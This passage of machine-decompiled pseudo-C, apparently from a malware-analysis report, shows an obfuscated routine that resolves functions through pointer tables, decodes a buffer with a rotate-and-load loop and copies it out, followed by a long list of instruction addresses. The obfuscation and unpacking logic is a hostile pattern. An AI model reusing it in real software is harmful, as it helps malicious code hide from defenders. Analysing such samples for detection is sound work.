					_v40 = 0;
					 *_t881 =  *_t881 ^ _t397;
					_t513 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40, _t685);
					 *(_t660 + 0x41d106) =  *(_t660 + 0x41d106) & 0x00000000;
					 *(_t660 + 0x41d106) =  *(_t660 + 0x41d106) | _t746 & 0x00000000 | _t513;
					_t749 = _t746;
					_t751 = _t749 & 0x00000000 ^  *_t881;
					_t882 = _t881 - 0xfffffffc;
					_v8 = _v8 - _t751;
					_v40 = 0;
					 *_t882 =  *_t882 | _t751;
					_t409 = _t660 + 0x41c7ee; // 0x41c7ee
					 *_t882 =  *_t882 ^ _t795;
					 *_t882 =  *_t882 ^ _t409;
					_t410 = _t660 + 0x41c513; // 0x41c513
					_v36 = 0;
					 *_t882 =  *_t882 | _t410;
					_t516 =  *((intOrPtr*)(_t660 + 0x41f068))(_v36, _t795, _v40, _t685);
					_v36 = _t834;
					 *(_t660 + 0x41c2a8) =  *(_t660 + 0x41c2a8) & 0x00000000;
					 *(_t660 + 0x41c2a8) =  *(_t660 + 0x41c2a8) ^ _t834 & 0x00000000 ^ _t516;
					_t753 =  *_t882;
					_t883 =  &(_t882[1]);
					_v32 = _t516;
					_v24 = _v24 & 0x00000000;
					_v24 = _v24 | _t516 ^ _v32 ^ _t753;
					_t427 = _t660 + 0x41ccc7; // 0x41ccc7
					_v40 = 0;
					 *_t883 =  *_t883 | _t427;
					_t521 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40);
					 *(_t660 + 0x41cca4) =  *(_t660 + 0x41cca4) & 0x00000000;
					 *(_t660 + 0x41cca4) =  *(_t660 + 0x41cca4) | _t795 -  *_t883 | _t521;
					_t798 = _t795;
					_t839 = _v36 & 0x00000000 ^ _t660 & 0x00000000 ^ _a4;
					_t663 = _t660;
					_t436 = _t663 + 0x41c550; // 0x41c550
					_v36 = 0;
					 *_t883 =  *_t883 + _t436;
					_t523 =  *((intOrPtr*)(_t663 + 0x41f060))(_v36);
					_v36 = 0;
					 *_t883 =  *_t883 + _t523;
					_t442 = _t663 + 0x41d34c; // 0x41d34c
					 *_t883 = _t442;
					_t525 =  *((intOrPtr*)(_t663 + 0x41f060))(_v36, _v36);
					_t884 = _t883 - 0xfffffffc;
					 *_t445 = _t525;
					_v40 = _v40 + (0 ^  *_t883);
					_push(_v40);
					_pop(_t526);
					_t755 = _t753;
					_v32 = _t755;
					_t758 = _v32;
					if( *((intOrPtr*)(_t663 + 0x41ccf8)) > _t526) {
						_t452 = _t663 + 0x41c550; // 0x41c550
						_v32 = _v32 & 0x00000000;
						 *_t884 =  *_t884 + _t452;
						_t456 = _t663 + 0x41d34c; // 0x41d34c
						_v32 = _v32 & 0x00000000;
						 *_t884 =  *_t884 + _t456;
						_t526 =  *((intOrPtr*)(_t663 + 0x41f064))(_v32, _v32);
					}
					_v40 = _t758;
					 *((intOrPtr*)(_t663 + 0x41ce46)) = _t526;
					_t761 = _v40;
					_v32 = _t761;
					_t466 = _t663 + 0x41cb9d; // 0x41cb9d
					 *_t884 =  *_t884 - _t839;
					 *_t884 =  *_t884 | _t466;
					_t467 = _t663 + 0x41cd17; // 0x41cd17
					_v36 = _v36 & 0x00000000;
					 *_t884 =  *_t884 | _t467;
					_t529 =  *((intOrPtr*)(_t663 + 0x41f068))(_v36, _t839);
					 *_t884 = _t798 & 0x00000000 | _t761 & 0x00000000 ^ _t839;
					 *(_t663 + 0x41d015) = 0 ^ _t529;
					_t803 = 0;
					_t840 = _t839 - 1;
					_v32 = 0;
					_push(_v32);
					 *_t884 =  *_t884 | _t663;
					do {
						 *_t475 = _t803;
						_push(_v36);
						_pop(_t692);
						_t693 = _t692 & _v12;
						if(_t693 == 0) {
							_t840 = _t840 + 1;
							_t529 = _t529 & 0x00000000 ^ (_t803 -  *_t884 | _v28);
							_t803 = _t803;
							_t663 =  *(_t529 + _t840) & 0x000000ff;
						}
						_push(_v16);
						_pop( *_t481);
						_push(_v36);
						_pop(_t765);
						asm("rol edx, cl");
						asm("lodsb");
						_t529 = _t529 | _t765 & _t663;
						 *_t803 = _t529;
						_t803 = _t803 + 1;
						_t483 =  &_v8;
						 *_t483 = _v8 - 1;
					} while ( *_t483 != 0);
					_t665 =  *_t884;
					_t885 =  &(_t884[1]);
					_t485 = _t665 + 0x41cc0b; // 0x41cc0b
					 *_t885 =  *_t885 & 0x00000000;
					 *_t885 =  *_t885 ^ _t485;
					_t486 = _t665 + 0x41cbd0; // 0x41cbd0
					 *_t885 =  *_t885 & 0x00000000;
					 *_t885 =  *_t885 | _t486;
					_t533 =  *((intOrPtr*)(_t665 + 0x41f068))(_t867, _t693);
					_v36 = _t693;
					 *(_t665 + 0x41d326) =  *(_t665 + 0x41d326) & 0x00000000;
					 *(_t665 + 0x41d326) =  *(_t665 + 0x41d326) ^ (_t693 ^ _v36 | _t533);
					_v32 = _t665;
					return memcpy(_t803, _t840 + 1, _v24);
				} else {
					_pop( *_t15);
					_t672 = _t660 & 0x00000000 ^ _v32;
					_t17 = _t672 + 0x41cb24; // 0x41cb24
					_v32 = 0;
					 *_t879 =  *_t879 | _t17;
					_t589 =  *((intOrPtr*)(_t672 + 0x41f060))(_v32);
					 *(_t672 + 0x41c76e) =  *(_t672 + 0x41c76e) & 0x00000000;
					 *(_t672 + 0x41c76e) =  *(_t672 + 0x41c76e) ^ _t792 ^ _v48 ^ _t589;
					_t820 = _t792;
					_t25 = _t672 + 0x41c2ba; // 0x41c2ba
					_v48 = _v48 ^ _t820;
					_v48 = _t25;
					_t26 = _t672 + 0x41d1a6; // 0x41d1a6
					 *_t879 =  *_t879 ^ _t820;
					 *_t879 =  *_t879 + _t26;
					_t592 =  *((intOrPtr*)(_t672 + 0x41f060))(_t820, _t820);
					 *_t879 =  *_t879 - _t864;
					 *_t879 =  *_t879 + _t592;
					_t28 = _t672 + 0x41c035; // 0x41c035
					 *_t879 =  *_t879 & 0x00000000;
					 *_t879 =  *_t879 | _t28;
					_t594 =  *((intOrPtr*)(_t672 + 0x41f060))(_t740, _t864);
					_t712 =  *_t879;
					_t892 =  &(_t879[1]);
					_v40 = _t820;
					_push(_t712 + _t594);
					_t823 = _v40;
					_pop(_t595);
					_v40 = _t834;
					_t714 = _t712 & 0x00000000 ^ _t834 & 0x00000000 ^  *(_t672 + 0x41c8ae);
					_t849 = _v40;
					if(_t714 > _t595) {
						_t35 = _t672 + 0x41d1a6; // 0x41d1a6
						 *_t892 =  *_t892 & 0x00000000;
						 *_t892 =  *_t892 ^ _t35;
						_t36 = _t672 + 0x41c035; // 0x41c035
						 *_t892 = _t36;
						_t595 =  *((intOrPtr*)(_t672 + 0x41f064))(_v40, _t672);
						_push(0);
						 *_t892 = _t714;
						 *(_t672 + 0x41d244) = 0 ^ _t595;
					}
					_t893 = _t892 - 0xfffffffc;
					 *_t893 =  *_t893 - _t849;
					 *_t893 =  *_t893 ^ (_t595 & 0x00000000 |  *_t892);
					_t40 = _t672 + 0x41cd30; // 0x41cd30
					 *_t893 =  *_t893 ^ _t849;
					 *_t893 =  *_t893 + _t40;
					_t599 =  *((intOrPtr*)(_t672 + 0x41f060))(_t849, _t849);
					_v36 = 0;
					 *_t893 =  *_t893 + _t599;
					_t44 = _t672 + 0x41c116; // 0x41c116
					 *_t893 = _t44;
					_t601 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _v36);
					_t894 =  &(_t893[1]);
					 *_t47 = _t601;
					_v40 = _v40 + (0 ^  *_t893);
					_push(_v40);
					_pop(_t602);
					_t851 = _t849;
					_v40 = _t740;
					_t717 = 0 ^  *(_t672 + 0x41d282);
					_t779 = _v40;
					if(_t717 > _t602) {
						_t54 = _t672 + 0x41cd30; // 0x41cd30
						_v36 = _v36 & 0x00000000;
						 *_t894 =  *_t894 + _t54;
						_t58 = _t672 + 0x41c116; // 0x41c116
						 *_t894 = _t58;
						_t602 =  *((intOrPtr*)(_t672 + 0x41f064))(_v36, _v36);
					}
					_v32 = _t779;
					 *((intOrPtr*)(_t672 + 0x41d2af)) = _t602;
					_t64 = _t672 + 0x41c00f; // 0x41c00f
					_v36 = 0;
					 *_t894 =  *_t894 | _t64;
					_t67 = _t672 + 0x41c17e; // 0x41c17e
					_v40 = _v40 & 0x00000000;
					 *_t894 =  *_t894 | _t67;
					_t605 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _v36);
					_v40 = 0;
					 *_t894 =  *_t894 + _t605;
					_t74 = _t672 + 0x41cf79; // 0x41cf79
					 *_t894 =  *_t894 & 0x00000000;
					 *_t894 =  *_t894 | _t74;
					_t607 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40);
					 *_t76 = _t717;
					_push(_v32);
					 *_t78 = _t607;
					_v32 = _v32 + (_t717 & 0x00000000) + _v40;
					_push(_v32);
					_pop(_t608);
					_pop(_t784);
					_push( *((intOrPtr*)(_t672 + 0x41cc9b)));
					_pop( *_t83);
					_push(_v40);
					_pop(_t720);
					if(_t720 > _t608) {
						_t85 = _t672 + 0x41c17e; // 0x41c17e
						 *_t894 =  *_t894 & 0x00000000;
						 *_t894 =  *_t894 + _t85;
						_t86 = _t672 + 0x41cf79; // 0x41cf79
						_v32 = _v32 & 0x00000000;
						 *_t894 =  *_t894 ^ _t86;
						_push( *((intOrPtr*)(_t672 + 0x41f064))(_v32, _t784));
						_pop( *_t91);
						_push(_v40);
						_pop( *_t93);
					}
					_t895 =  &(_t894[1]);
					 *_t895 =  *_t894;
					_t95 = _t672 + 0x41cd11; // 0x41cd11
					 *_t895 =  *_t895 & 0x00000000;
					 *_t895 =  *_t895 + _t95;
					_t96 = _t672 + 0x41c5be; // 0x41c5be
					_v40 = _v40 & 0x00000000;
					 *_t895 =  *_t895 ^ _t96;
					_t613 =  *((intOrPtr*)(_t672 + 0x41f068))(_v40, _t864, _v36);
					 *(_t672 + 0x41caaa) =  *(_t672 + 0x41caaa) & 0x00000000;
					 *(_t672 + 0x41caaa) =  *(_t672 + 0x41caaa) ^ (_t720 & 0x00000000 | _t613);
					_t723 = _t720;
					_t614 =  *((intOrPtr*)(_t672 + 0x41f068))();
					 *_t895 =  *_t895 & 0x00000000;
					 *_t895 =  *_t895 ^ _t614;
					_t106 = _t672 + 0x41d112; // 0x41d112
					_v36 = 0;
					 *_t895 =  *_t895 + _t106;
					_t616 =  *((intOrPtr*)(_t672 + 0x41f060))(_v36, _t823);
					 *_t895 =  *_t895 - _t723;
					 *_t895 =  *_t895 + _t616;
					_t110 = _t672 + 0x41c899; // 0x41c899
					_v40 = 0;
					 *_t895 =  *_t895 | _t110;
					_t618 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _t723);
					_t725 =  *_t895;
					_t896 =  &(_t895[1]);
					 *_t114 = _t618;
					_v36 = _v36 + _t725;
					_push(_v36);
					_pop(_t619);
					_t853 = _t851;
					_v32 = _t784;
					_t727 = _t725 & 0x00000000 | _t784 - _v32 ^  *(_t672 + 0x41c8e8);
					_t787 = _v32;
					if(_t727 > _t619) {
						_t122 = _t672 + 0x41d112; // 0x41d112
						_v40 = _v40 & 0x00000000;
						 *_t896 =  *_t896 ^ _t122;
						_t126 = _t672 + 0x41c899; // 0x41c899
						 *_t896 =  *_t896 - _t672;
						 *_t896 =  *_t896 | _t126;
						_push( *((intOrPtr*)(_t672 + 0x41f064))(_t672, _v40));
						_pop( *_t128);
						_push(_v40);
						_pop( *_t130);
					}
					_t897 =  &(_t896[1]);
					 *(_t672 + 0x41d0d6) =  *(_t672 + 0x41d0d6) & 0x00000000;
					 *(_t672 + 0x41d0d6) =  *(_t672 + 0x41d0d6) ^ _t853 ^  *_t897 ^  *_t896;
					_t856 = _t853;
					_t135 = _t672 + 0x41cc19; // 0x41cc19
					 *_t897 = _t135;
					_t623 =  *((intOrPtr*)(_t672 + 0x41f060))(_v36);
					_v32 = _v32 & 0x00000000;
					 *_t897 =  *_t897 ^ _t623;
					_t141 = _t672 + 0x41c058; // 0x41c058
					_v32 = 0;
					 *_t897 =  *_t897 + _t141;
					_t625 =  *((intOrPtr*)(_t672 + 0x41f060))(_v32, _v32);
					_t898 = _t897 - 0xfffffffc;
					 *_t145 = _t625;
					_v40 = _v40 + (_t727 & 0x00000000) +  *_t897;
					_push(_v40);
					_pop(_t626);
					_t825 = _t823;
					_v36 = _t787;
					_t730 =  *(_t672 + 0x41c493);
					_t790 = _v36;
					if(_t730 > _t626) {
						_t152 = _t672 + 0x41cc19; // 0x41cc19
						 *_t898 =  *_t898 ^ _t730;
						 *_t898 =  *_t898 | _t152;
						_t153 = _t672 + 0x41c058; // 0x41c058
						 *_t898 =  *_t898 & 0x00000000;
						 *_t898 =  *_t898 + _t153;
						_t626 =  *((intOrPtr*)(_t672 + 0x41f064))(_t672, _t730);
					}
					 *_t898 = _t856;
					 *(_t672 + 0x41d0de) = 0 ^ _t626;
					_t859 = 0;
					_t899 = _t864;
					_pop(_t871);
					_t156 = _t672 + 0x41c23b; // 0x41c23b
					 *_t899 =  *_t899 ^ _t790;
					 *_t899 = _t156;
					_t157 = _t672 + 0x41c2e1; // 0x41c2e1
					_v8 = _v8 - _t859;
					_v8 = _v8 | _t157;
					_t629 =  *((intOrPtr*)(_t672 + 0x41f068))(_t859, _t790);
					 *(_t672 + 0x41d2a1) =  *(_t672 + 0x41d2a1) & 0x00000000;
					 *(_t672 + 0x41d2a1) =  *(_t672 + 0x41d2a1) ^ _t825 & 0x00000000 ^ _t629;
					_t828 = _t825;
					_t163 = _t672 + 0x41c6d4; // 0x41c6d4
					_v12 = _v12 ^ _t730;
					_v12 = _v12 + _t163;
					_t164 = _t672 + 0x41cc84; // 0x41cc84
					_v16 = _t164;
					_push( *((intOrPtr*)(_t672 + 0x41f060))(_v32, _t730));
					_pop( *_t167);
					_push(_v40);
					_pop( *_t169);
					_t900 =  &(_t899[1]);
					_v16 = _v16 - _t730;
					_v16 = _v16 + (0 ^ _v16);
					_t170 = _t672 + 0x41c719; // 0x41c719
					_v40 = _v40 & 0x00000000;
					_v20 = _v20 ^ _t170;
					_push( *((intOrPtr*)(_t672 + 0x41f060))(_v40, _t730));
					_pop( *_t175);
					_push(_v36);
					_pop( *_t177);
					_t637 =  *((intOrPtr*)(_t672 + 0x41f060))();
					_v32 = 0;
					_v24 = _v24 ^ _t637;
					_t181 = _t672 + 0x41d2e8; // 0x41d2e8
					_v28 = _v28 ^ _t828;
					_v28 = _v28 | _t181;
					_t639 =  *((intOrPtr*)(_t672 + 0x41f060))(_t828, _v32);
					_v32 = 0;
					_v32 = _v32 + _t639;
					_t185 = _t672 + 0x41ca71; // 0x41ca71
					_v36 = _t185;
					_t641 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40, _v32);
					_pop( *_t188);
					_t731 = _v36;
					_v36 = _t859;
					_push(_t731 + _t641);
					_pop(_t642);
					_t733 = _t731 & 0x00000000 ^ _t871 & 0x00000000 ^  *(_t672 + 0x41c0c4);
					_t874 = _t871;
					if(_t733 > _t642) {
						_t193 = _t672 + 0x41d2e8; // 0x41d2e8
						_v32 = 0;
						 *_t900 =  *_t900 | _t193;
						_t196 = _t672 + 0x41ca71; // 0x41ca71
						 *_t900 =  *_t900 & 0x00000000;
						 *_t900 =  *_t900 ^ _t196;
						_t648 =  *((intOrPtr*)(_t672 + 0x41f064))(_t672, _v32);
						_push(_t874);
						 *(_t672 + 0x41c06b) =  *(_t672 + 0x41c06b) & 0x00000000;
						 *(_t672 + 0x41c06b) =  *(_t672 + 0x41c06b) | _t874 ^  *_t900 | _t648;
					}
					_pop( *_t202);
					_v40 = _t733;
					 *(_t672 + 0x41d067) =  *(_t672 + 0x41d067) & 0x00000000;
					 *(_t672 + 0x41d067) =  *(_t672 + 0x41d067) | _t733 & 0x00000000 ^ _v36;
					_t210 = _t672 + 0x41cefe; // 0x41cefe
					 *_t900 = _t210;
					_t645 =  *((intOrPtr*)(_t672 + 0x41f060))(_v40);
					_v40 = _t828;
					 *(_t672 + 0x41d336) =  *(_t672 + 0x41d336) & 0x00000000;
					 *(_t672 + 0x41d336) =  *(_t672 + 0x41d336) | _t828 - _v40 ^ _t645;
					return _t645;
				}
			}

























































































































































                                                                          0x00123a14
                                                                          0x00123a14
                                                                          0x00123a14
                                                                          0x00123a15
                                                                          0x00123a18
                                                                          0x00123a1b
                                                                          0x00123a1d
                                                                          0x00123a20
                                                                          0x00123a21
                                                                          0x00123a24
                                                                          0x00123a27
                                                                          0x00123a2a
                                                                          0x00123a2d
                                                                          0x00123a30
                                                                          0x00123a35
                                                                          0x00123a35
                                                                          0x00123a38
                                                                          0x00123a40
                                                                          0x00123a44
                                                                          0x00123a45
                                                                          0x00123a4c
                                                                          0x00123a4e
                                                                          0x00123a55
                                                                          0x00123a5c
                                                                          0x00123a5c
                                                                          0x00123a67
                                                                          0x00124153
                                                                          0x0012446d
                                                                          0x00124473
                                                                          0x0012447c
                                                                          0x0012447f
                                                                          0x00124486
                                                                          0x0012448a
                                                                          0x00124493
                                                                          0x00124494
                                                                          0x00124497
                                                                          0x0012449a
                                                                          0x001244a0
                                                                          0x001244a7
                                                                          0x001244ad
                                                                          0x001244b4
                                                                          0x001244b7
                                                                          0x001244bd
                                                                          0x001244c5
                                                                          0x001244cc
                                                                          0x001244d2
                                                                          0x001244d5
                                                                          0x001244dc
                                                                          0x001244e2
                                                                          0x001244e9
                                                                          0x001244ec
                                                                          0x001244f2
                                                                          0x001244fa
                                                                          0x00124501
                                                                          0x00124507
                                                                          0x0012450a
                                                                          0x00124511
                                                                          0x00124517
                                                                          0x0012451e
                                                                          0x00124521
                                                                          0x00124528
                                                                          0x0012452b
                                                                          0x0012452e
                                                                          0x00124534
                                                                          0x0012453c
                                                                          0x00124543
                                                                          0x00124549
                                                                          0x00124549
                                                                          0x00124159
                                                                          0x00124159
                                                                          0x0012415f
                                                                          0x00124169
                                                                          0x0012416c
                                                                          0x00124172
                                                                          0x0012417c
                                                                          0x0012417f
                                                                          0x0012418b
                                                                          0x00124192
                                                                          0x00124198
                                                                          0x00124199
                                                                          0x0012419f
                                                                          0x001241a6
                                                                          0x001241a9
                                                                          0x001241af
                                                                          0x001241b6
                                                                          0x001241b9
                                                                          0x001241c2
                                                                          0x001241c5
                                                                          0x001241ce
                                                                          0x001241d1
                                                                          0x001241dd
                                                                          0x001241e0
                                                                          0x001241e5
                                                                          0x001241e9
                                                                          0x001241ec
                                                                          0x001241ee
                                                                          0x001241fc
                                                                          0x001241fe
                                                                          0x00124201
                                                                          0x00124203
                                                                          0x0012420a
                                                                          0x0012420e
                                                                          0x00124211
                                                                          0x00124217
                                                                          0x0012421e
                                                                          0x00124221
                                                                          0x0012422d
                                                                          0x00124234
                                                                          0x0012423a
                                                                          0x0012423a
                                                                          0x00124240
                                                                          0x00124244
                                                                          0x00124248
                                                                          0x0012424b
                                                                          0x00124252
                                                                          0x00124255
                                                                          0x00124258
                                                                          0x00124261
                                                                          0x00124264
                                                                          0x0012426a
                                                                          0x00124272
                                                                          0x00124279
                                                                          0x0012427f
                                                                          0x00124282
                                                                          0x00124289
                                                                          0x0012428c
                                                                          0x0012428f
                                                                          0x00124296
                                                                          0x00124299
                                                                          0x0012429c
                                                                          0x001242a3
                                                                          0x001242a7
                                                                          0x001242aa
                                                                          0x001242b1
                                                                          0x001242b4
                                                                          0x001242b7
                                                                          0x001242c6
                                                                          0x001242c9
                                                                          0x001242d0
                                                                          0x001242d6
                                                                          0x001242d9
                                                                          0x001242e0
                                                                          0x001242e6
                                                                          0x001242f0
                                                                          0x001242f3
                                                                          0x001242fa
                                                                          0x001242fd
                                                                          0x00124300
                                                                          0x00124306
                                                                          0x0012430d
                                                                          0x00124310
                                                                          0x0012431c
                                                                          0x0012431f
                                                                          0x00124322
                                                                          0x00124329
                                                                          0x0012432a
                                                                          0x0012432d
                                                                          0x0012432e
                                                                          0x0012433d
                                                                          0x0012433f
                                                                          0x00124344
                                                                          0x00124346
                                                                          0x0012434c
                                                                          0x00124353
                                                                          0x00124356
                                                                          0x0012435c
                                                                          0x00124366
                                                                          0x00124369
                                                                          0x00124369
                                                                          0x00124371
                                                                          0x00124378
                                                                          0x0012437e
                                                                          0x0012437f
                                                                          0x00124386
                                                                          0x0012438d
                                                                          0x00124390
                                                                          0x00124393
                                                                          0x00124399
                                                                          0x001243a0
                                                                          0x001243a6
                                                                          0x001243a9
                                                                          0x001243b0
                                                                          0x001243b7
                                                                          0x001243ba
                                                                          0x001243bd
                                                                          0x001243c5
                                                                          0x001243cc
                                                                          0x001243d2
                                                                          0x001243d2
                                                                          0x00124551
                                                                          0x00124555
                                                                          0x00124558
                                                                          0x0012455b
                                                                          0x00124562
                                                                          0x00124565
                                                                          0x00124568
                                                                          0x00124571
                                                                          0x00124574
                                                                          0x0012457a
                                                                          0x00124584
                                                                          0x00124587
                                                                          0x00124593
                                                                          0x00124596
                                                                          0x00124599
                                                                          0x001245a0
                                                                          0x001245a1
                                                                          0x001245a4
                                                                          0x001245b2
                                                                          0x001245b4
                                                                          0x001245b7
                                                                          0x001245b9
                                                                          0x001245bf
                                                                          0x001245c9
                                                                          0x001245cc
                                                                          0x001245d2
                                                                          0x001245dc
                                                                          0x001245df
                                                                          0x001245e5
                                                                          0x001245ec
                                                                          0x001245f2
                                                                          0x001245f2
                                                                          0x001245fe
                                                                          0x00124603
                                                                          0x0012460d
                                                                          0x00124611
                                                                          0x00124614
                                                                          0x0012461a
                                                                          0x00124621
                                                                          0x00124624
                                                                          0x0012462b
                                                                          0x0012462e
                                                                          0x00124631
                                                                          0x0012463d
                                                                          0x00124644
                                                                          0x0012464a
                                                                          0x00124654
                                                                          0x00124657
                                                                          0x0012465b
                                                                          0x0012465f
                                                                          0x00124662
                                                                          0x00124668
                                                                          0x00124672
                                                                          0x00124675
                                                                          0x00124681
                                                                          0x00124688
                                                                          0x0012468e
                                                                          0x00124695
                                                                          0x00124698
                                                                          0x001246a1
                                                                          0x001246a5
                                                                          0x001246af
                                                                          0x001246b2
                                                                          0x001246b9
                                                                          0x001246bc
                                                                          0x001246bf
                                                                          0x001246c5
                                                                          0x001246cf
                                                                          0x001246d2
                                                                          0x001246d8
                                                                          0x001246e0
                                                                          0x001246e7
                                                                          0x001246f2
                                                                          0x001246f5
                                                                          0x001246f8
                                                                          0x00124700
                                                                          0x00124704
                                                                          0x0012470a
                                                                          0x00124710
                                                                          0x0012471a
                                                                          0x0012471d
                                                                          0x00124729
                                                                          0x00124730
                                                                          0x00124736
                                                                          0x00124741
                                                                          0x00124743
                                                                          0x00124744
                                                                          0x0012474a
                                                                          0x00124754
                                                                          0x00124757
                                                                          0x0012475d
                                                                          0x00124767
                                                                          0x0012476a
                                                                          0x00124773
                                                                          0x00124776
                                                                          0x00124781
                                                                          0x00124788
                                                                          0x0012478b
                                                                          0x0012478e
                                                                          0x00124791
                                                                          0x00124792
                                                                          0x00124793
                                                                          0x001247a0
                                                                          0x001247a5
                                                                          0x001247a7
                                                                          0x001247ad
                                                                          0x001247b4
                                                                          0x001247b7
                                                                          0x001247bd
                                                                          0x001247c4
                                                                          0x001247c7
                                                                          0x001247c7
                                                                          0x001247cd
                                                                          0x001247d4
                                                                          0x001247da
                                                                          0x001247dd
                                                                          0x001247ed
                                                                          0x001247f4
                                                                          0x001247f7
                                                                          0x001247fa
                                                                          0x00124800
                                                                          0x00124807
                                                                          0x0012480a
                                                                          0x00124812
                                                                          0x00124819
                                                                          0x0012481f
                                                                          0x00124820
                                                                          0x00124821
                                                                          0x00124828
                                                                          0x0012482b
                                                                          0x0012482e
                                                                          0x0012482f
                                                                          0x00124832
                                                                          0x00124835
                                                                          0x00124836
                                                                          0x00124839
                                                                          0x0012483b
                                                                          0x00124846
                                                                          0x00124848
                                                                          0x00124849
                                                                          0x00124849
                                                                          0x0012484d
                                                                          0x00124850
                                                                          0x00124853
                                                                          0x00124856
                                                                          0x00124857
                                                                          0x0012485b
                                                                          0x0012485c
                                                                          0x0012485e
                                                                          0x00124860
                                                                          0x00124861
                                                                          0x00124861
                                                                          0x00124861
                                                                          0x00124868
                                                                          0x0012486b
                                                                          0x0012486e
                                                                          0x00124875
                                                                          0x00124879
                                                                          0x0012487c
                                                                          0x00124883
                                                                          0x00124887
                                                                          0x0012488a
                                                                          0x00124890
                                                                          0x00124898
                                                                          0x0012489f
                                                                          0x001248a8
                                                                          0x001248c1
                                                                          0x00123a6d
                                                                          0x00123a73
                                                                          0x00123a76
                                                                          0x00123a79
                                                                          0x00123a7f
                                                                          0x00123a89
                                                                          0x00123a8c
                                                                          0x00123a98
                                                                          0x00123a9f
                                                                          0x00123aa5
                                                                          0x00123aa6
                                                                          0x00123aad
                                                                          0x00123ab0
                                                                          0x00123ab3
                                                                          0x00123aba
                                                                          0x00123abd
                                                                          0x00123ac0
                                                                          0x00123ac7
                                                                          0x00123aca
                                                                          0x00123acd
                                                                          0x00123ad4
                                                                          0x00123ad8
                                                                          0x00123adb
                                                                          0x00123ae3
                                                                          0x00123ae6
                                                                          0x00123ae9
                                                                          0x00123af0
                                                                          0x00123af1
                                                                          0x00123af4
                                                                          0x00123af5
                                                                          0x00123b04
                                                                          0x00123b06
                                                                          0x00123b0b
                                                                          0x00123b0d
                                                                          0x00123b14
                                                                          0x00123b18
                                                                          0x00123b1b
                                                                          0x00123b24
                                                                          0x00123b27
                                                                          0x00123b2d
                                                                          0x00123b2f
                                                                          0x00123b36
                                                                          0x00123b3c
                                                                          0x00123b46
                                                                          0x00123b4a
                                                                          0x00123b4d
                                                                          0x00123b50
                                                                          0x00123b57
                                                                          0x00123b5a
                                                                          0x00123b5d
                                                                          0x00123b63
                                                                          0x00123b6d
                                                                          0x00123b70
                                                                          0x00123b79
                                                                          0x00123b7c
                                                                          0x00123b87
                                                                          0x00123b8e
                                                                          0x00123b91
                                                                          0x00123b94
                                                                          0x00123b97
                                                                          0x00123b98
                                                                          0x00123b99
                                                                          0x00123ba4
                                                                          0x00123ba6
                                                                          0x00123bab
                                                                          0x00123bad
                                                                          0x00123bb3
                                                                          0x00123bba
                                                                          0x00123bbd
                                                                          0x00123bc6
                                                                          0x00123bc9
                                                                          0x00123bc9
                                                                          0x00123bcf
                                                                          0x00123bd6
                                                                          0x00123bdf
                                                                          0x00123be5
                                                                          0x00123bef
                                                                          0x00123bf2
                                                                          0x00123bf8
                                                                          0x00123bff
                                                                          0x00123c02
                                                                          0x00123c08
                                                                          0x00123c12
                                                                          0x00123c15
                                                                          0x00123c1c
                                                                          0x00123c20
                                                                          0x00123c23
                                                                          0x00123c2f
                                                                          0x00123c35
                                                                          0x00123c39
                                                                          0x00123c3c
                                                                          0x00123c3f
                                                                          0x00123c42
                                                                          0x00123c43
                                                                          0x00123c44
                                                                          0x00123c4a
                                                                          0x00123c4d
                                                                          0x00123c50
                                                                          0x00123c53
                                                                          0x00123c55
                                                                          0x00123c5c
                                                                          0x00123c60
                                                                          0x00123c63
                                                                          0x00123c69
                                                                          0x00123c70
                                                                          0x00123c79
                                                                          0x00123c7a
                                                                          0x00123c7d
                                                                          0x00123c80
                                                                          0x00123c80
                                                                          0x00123c8b
                                                                          0x00123c91
                                                                          0x00123c94
                                                                          0x00123c9b
                                                                          0x00123c9f
                                                                          0x00123ca2
                                                                          0x00123ca8
                                                                          0x00123caf
                                                                          0x00123cb2
                                                                          0x00123cbe
                                                                          0x00123cc5
                                                                          0x00123ccb
                                                                          0x00123ccc
                                                                          0x00123cd3
                                                                          0x00123cd7
                                                                          0x00123cda
                                                                          0x00123ce0
                                                                          0x00123cea
                                                                          0x00123ced
                                                                          0x00123cf4
                                                                          0x00123cf7
                                                                          0x00123cfa
                                                                          0x00123d00
                                                                          0x00123d0a
                                                                          0x00123d0d
                                                                          0x00123d15
                                                                          0x00123d18
                                                                          0x00123d1f
                                                                          0x00123d22
                                                                          0x00123d25
                                                                          0x00123d28
                                                                          0x00123d29
                                                                          0x00123d2a
                                                                          0x00123d39
                                                                          0x00123d3b
                                                                          0x00123d40
                                                                          0x00123d42
                                                                          0x00123d48
                                                                          0x00123d4f
                                                                          0x00123d52
                                                                          0x00123d59
                                                                          0x00123d5c
                                                                          0x00123d65
                                                                          0x00123d66
                                                                          0x00123d69
                                                                          0x00123d6c
                                                                          0x00123d6c
                                                                          0x00123d7b
                                                                          0x00123d84
                                                                          0x00123d8b
                                                                          0x00123d91
                                                                          0x00123d92
                                                                          0x00123d9b
                                                                          0x00123d9e
                                                                          0x00123da4
                                                                          0x00123dab
                                                                          0x00123dae
                                                                          0x00123db4
                                                                          0x00123dbe
                                                                          0x00123dc1
                                                                          0x00123dd0
                                                                          0x00123dd7
                                                                          0x00123dda
                                                                          0x00123ddd
                                                                          0x00123de0
                                                                          0x00123de1
                                                                          0x00123de2
                                                                          0x00123ded
                                                                          0x00123def
                                                                          0x00123df4
                                                                          0x00123df6
                                                                          0x00123dfd
                                                                          0x00123e00
                                                                          0x00123e03
                                                                          0x00123e0a
                                                                          0x00123e0e
                                                                          0x00123e11
                                                                          0x00123e11
                                                                          0x00123e19
                                                                          0x00123e20
                                                                          0x00123e26
                                                                          0x00123e27
                                                                          0x00123e27
                                                                          0x00123e28
                                                                          0x00123e2f
                                                                          0x00123e32
                                                                          0x00123e35
                                                                          0x00123e3c
                                                                          0x00123e3f
                                                                          0x00123e42
                                                                          0x00123e4e
                                                                          0x00123e55
                                                                          0x00123e5b
                                                                          0x00123e5c
                                                                          0x00123e63
                                                                          0x00123e66
                                                                          0x00123e69
                                                                          0x00123e72
                                                                          0x00123e7b
                                                                          0x00123e7c
                                                                          0x00123e7f
                                                                          0x00123e82
                                                                          0x00123e8d
                                                                          0x00123e91
                                                                          0x00123e94
                                                                          0x00123e97
                                                                          0x00123e9d
                                                                          0x00123ea4
                                                                          0x00123ead
